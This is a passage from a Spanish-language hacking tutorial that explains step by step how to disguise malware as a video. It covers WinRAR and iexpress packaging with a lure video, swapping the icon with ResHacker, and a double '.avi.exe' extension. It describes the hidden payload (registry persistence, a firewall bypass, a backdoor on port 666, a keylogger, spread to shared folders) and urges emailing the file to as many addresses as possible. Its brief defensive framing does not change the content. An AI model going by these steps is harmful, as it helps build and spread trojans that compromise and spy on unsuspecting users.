En Modos, seleccionamos las opciones de Ocultar todo tipo de animación al usuario, y en caso de existir el archivo, sobre-escribirlo.

Con eso basta. Aunque winrar nos presenta una plétora de múltiples opciones (entre las cuales está la selección de un icono), es suficiente como para lo que necesitamos. Podemos troyanizar el malware utilizando cualquier tipo de archivo “atractivo” para que el usuario dé doble click, p.e. Mp3, jpg, flash (que también tiene



extensión .exe), etc. En este momento, disponemos de un ejecutable que contiene el malware y un ejecutable que despliega el video “anzuelo”. ¿Qué viene ahora??, pues con iexpress puedes crear el paquete total. Donde se empaquetan tanto el “anzuelo” (ejecutable que despliega el video), como el malware en sí (el ejecutable empaquetado que se detalló en la sección anterior). Sin embargo, si observamos el archivo desde el explorador de windows, se ve que el paquete total tiene un icono que no se reconoce fácilmente. Vamos a utilizar la conocida “resHacker” para cambiar el icono de tal manera que realmente parezca un archivo multimedia. Desplegamos ResHacker, seleccionamos nuestro malware troyanizado y buscamos el icono de un video dentro del sistema para realizar el reemplazo. Observemos el preview.

(donde “videoCarlaGiraldo.exe” es el paquete que contiene tanto el malware desarrollado en la sección anterior, como el video empaquetado anteriormente con winrar).

Seleccionamos cualquier ejecutable desde donde deseamos cargar el icono (en este caso, para simular un archivo de un verdadero video, utilizaremos el mismo icono de windows media player, y



damos la opción reemplazar. Solo resta guardar el proyecto, y si observamos nuevamente nuestro archivo desde el explorador podremos ver un “lindo archivo aparentemente de video” con el nombre de nuestro malware troyanizado.

Y LISTO !!!!... Ahora, p.e. En este caso se cambió el nombre por “videoCarlaGiraldo.avi.exe”. Si hablamos de una red típica colombiana con sistemas windows XP en sus instalaciones por defecto, lo más seguro, es que en los exploradores de las máquinas víctimas esté habilitada la opción “ocultar extesiones de archivos conocidos”. Lo que hará que se oculte la extensión .exe y por lo tanto “el nombre visible del malware” realmente aparecerá como “videoCarlaGiraldo.avi”. Obviamente lo ideal sería que el troyano se cargue desde un verdadero archivo multimedia. Esto no es difícil de hacer, sin embargo, “será en otra ocasión, je!”, pues. para los requerimientos de este proyecto, basta con lo hecho hasta ahora.

Existen un resto de técnicas alternativas para troyanizar nuestro malware. Entre ellas están los Data Streams, Macros en archivos office, objetos ole incluidos en documentos (basta con incrustarlos), wrappers en archivos .flash, ejecución de comandos desde archivos que se ejecutan en windows media player, etc. No las veremos en este documento, pero cualquier desarrollador de malware puede pasar largos y entretenidos ratos mejorando y puliendo lo logrado hasta ahora con técnicas más refinadas y “diabólicas”.

Es obvio suponer, que si das doble click sobre el archivo que contiene el malware troyanizado debe suceder los siguiente:

Explícitamente:[-] Debe desplegarse el video (o cualquier tipo de anzuelo incluido)

Implícitamente (y de forma oculta):[-] el registro debe haber sido modificado para aceptar que se abra un puerto por el backdoor sin que el firewall “se oponga”[-] el registro debe haber sido modificado para cargar el backdoor al iniciar la máquina[-] el cuerpo del troyano debe haberse intentado copiar a las carpetas compartidas encontradas en la lista de direcciones IP.



[-] se debe haber abierto la puerta trasera en estado de escucha de conexiones en el puerto autorizado en el registro[-] se debe ejecutar cualquier otro proceso incluido, p.e. Para este proyecto, debería estar en ejecución el keylogger.

Lo único que resta, es re-enviar el “famoso video” a la mayor cantidad de direcciones de correo electrónico ... y esperar. En el caso de este proyecto, solo sería necesario detectar puertos abiertos escuchando conexiones en el puerto 666 ... “a lo mejor es nuetra plaga en acción, :P”...

------------------------------------------------------------------Análisis y Conclusiones------------------------------------------------------------------Es importante tener en cuenta:

[-] No utilizamos ninguna tecnología sofisticada. Prácticamente todo se limitó “al poder de la consola” en ejecutar scripts. Todos los recursos requeridos estaban totalmente al alcance de “cualquiera”.

[-] El conocimiento de todas estas técnicas anteriormente mencionadas sirve no solamente para desarrollar proyectos con “intenciones malévolas”, también sirve para el desarrollo de vacunas contra malware. Simplemente se empaquetan scripts que con la capacidad de revertir las actividades maliciosas del malware que se desea vacunar. En pocas palabras, no solo se trata de plantear mediante este proyecto técnicas nocivas para una infraestructura informática. El conocimiento de estas técnicas es la mejor forma de combatir este tipo de ataques.

[-] Todas las actividades anteriores (excepto el cambio de icono), son scriptables. Esto significa que con buena práctica y experiencia, se pueden automatizar (ya lo haremos en su momento).

[-] No necesitamos prácticamente ningún método de programación (ni siquiera utilizamos lenguajes de programación), no necesitamos ningún principio especial de la ingeniería del software, cualquiera con algo de dedicación está en la capacidad de desarrollar este tipo de proyectos, no se requiere de la ayuda de un “super-hacker” ... todo esto lo podemos hacer prácticamente con las uñas ... ahora lo que debemos aprender es a tener las uñas “bien afiladas” ...

[-] diviértete, y disfrútalo cuanto puedas ... ah!, y no olvides invitarme ... [email protected], [email protected] . Hasta la próxima ;P





------------------------------------------------------------------Autor------------------------------------------------------------------Guillermo Jurado. Ingeniero en Electrónica y Telecomunicaciones de la Universidad del Cauca. Grupo de Investigación en Tecnologías de la Información (GTI), Área de Investigación en Seguridad Informática, Egresado 2003. Es "Hacktivista" con una Experiencia de casi 8 años en Investigación y Desarrollo de Soluciones en Seguridad Informática e Inteligencia Artificial. El Prototipo del Proyecto InForce Technology recibió el reconocimiento de Mención de Honor por Trabajo Innovador en el Área de Seguridad Informática. Actualmente reside en Popayán-Cauca, y trabaja para la Universidad del Cauca en el Área de Sistemas. Es Desarrollador Avanzado en tecnologías JAVA (J2SDK, J2EE), investiga en Metodologías y Estándares de Calidad de Software, y trabaja en el surgimiento de hackStudio [http://hackstudio.net] , Proyecto Empresarial cuyo Core (núcleo) de Negocio es la Investigación y Desarrollo de Soluciones en Tecnología Informática. Es el Arquitecto y Principal Desarrollador de InForce Technology y HackStudio Project, y Dedica su Tiempo Disponible en la Edición de su Propuesta Investigativa: "Ingeniería en Seguridad Informática" que estará disponible al Público en Formato de Libro (si es que algún día la termina, jeje).

Contactos en [email protected] , [email protected]. 300 651 0946

------------------------------------------------------------------Breve Bibliografía------------------------------------------------------------------[-] ZELTSER, Lenny. Malware: Fighting malicious code. 2003 [-] HOGLUND, Greg. BUTLER, James. Rootkits: Subverting the Windows Kernel. 2005

[-] FOSTER, James. Sockets, Shellcode, Porting & Coding. Reverse Engineering Exploits and Tools Coding for Security Professionals. 2005

[-] LUDWIG, Mark. The Little Black Book of computer Viruses. Editorial American eagle publications.

[-] RODAO, Jesús. Virus de Sistemas Informáticos e Internet. Editorial Alfa Omega 2000.

[-] Virus Bulletin, Octubre 2005 – Enero 2006. http://www.virusbtn.com[-] http://www.hispasec.com/directorio/laboratorio/articulos/

http://www.virusbtn.com/





Hacking withinnails pdfcompleto

Documents

Transcript of Hacking withinnails pdfcompleto